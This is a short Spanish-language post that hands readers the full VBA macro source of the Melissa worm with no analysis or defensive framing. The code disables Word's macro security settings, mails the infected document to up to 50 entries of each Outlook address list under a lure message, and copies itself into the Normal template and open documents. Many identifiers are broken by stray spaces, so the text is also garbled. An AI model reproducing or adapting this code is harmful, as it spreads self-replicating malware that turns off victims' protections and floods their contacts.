Aqui les dejo el Codigo del Virus Melissa!!!!!

Private Sub Document_Open()
On Error Resume Next
If System.Private ProfileString("", "HKEY_CURRENT_U SER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.Private ProfileString("", "HKEY_CURRENT_U SER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.Confir mConversions = (1 - 1): Options.VirusP rotection = (1 - 1): Options.SaveNo rmalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASli ce
Set UngaDasOutlook = CreateObject("Outlook.Applic ation")
Set DasMapiName = UngaDasOutlook .GetNameSpace("MAPI")
If System.Private ProfileString("", "HKEY_CURRENT_U SER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Lo gon "profile", "password"
For y = 1 To DasMapiName.Ad dressLists.Cou nt
Set AddyBook = DasMapiName.Ad dressLists(y)
x = 1
Set BreakUmOffASli ce = UngaDasOutlook .CreateItem(0)
For oo = 1 To AddyBook.Addre ssEntries.Coun t
Peep = AddyBook.Addre ssEntries(x)
BreakUmOffASli ce.Recipients. Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.Addre ssEntries.Coun t
Next oo
BreakUmOffASli ce.Subject = "Important Message From " & Application.Us erName
BreakUmOffASli ce.Body = "Here is that document you asked for ... don't show anyone else ;-)"
BreakUmOffASli ce.Attachments .Add ActiveDocument .FullName
BreakUmOffASli ce.Send
Peep = ""
Next y
DasMapiName.Lo goff
End If
System.Private ProfileString("", "HKEY_CURRENT_U SER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If

Set ADI1 = ActiveDocument .VBProject.VBC omponents.Item (1)
Set NTI1 = NormalTemplate .VBProject.VBC omponents.Item (1)
NTCL = NTI1.CodeModul e.CountOfLines
ADCL = ADI1.CodeModul e.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModul e.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModul e.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModul e.Lines(1, 1) = ""
ADI1.CodeModul e.DeleteLines 1
Loop
ToInfect.CodeM odule.AddFromS tring ("Private Sub Document_Close()")
Do While ADI1.CodeModul e.Lines(BGN, 1) <> ""
ToInfect.CodeM odule.InsertLi nes BGN, ADI1.CodeModul e.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModul e.Lines(1, 1) = ""
NTI1.CodeModul e.DeleteLines 1
Loop
ToInfect.CodeM odule.AddFromS tring ("Private Sub Document_Open()")
Do While NTI1.CodeModul e.Lines(BGN, 1) <> ""
ToInfect.CodeM odule.InsertLi nes BGN, NTI1.CodeModul e.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument .Name, "Document") = False) Then
ActiveDocument .SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument .Name, "Document") <> False) Then
ActiveDocument .Saved = True
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.Type Text " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub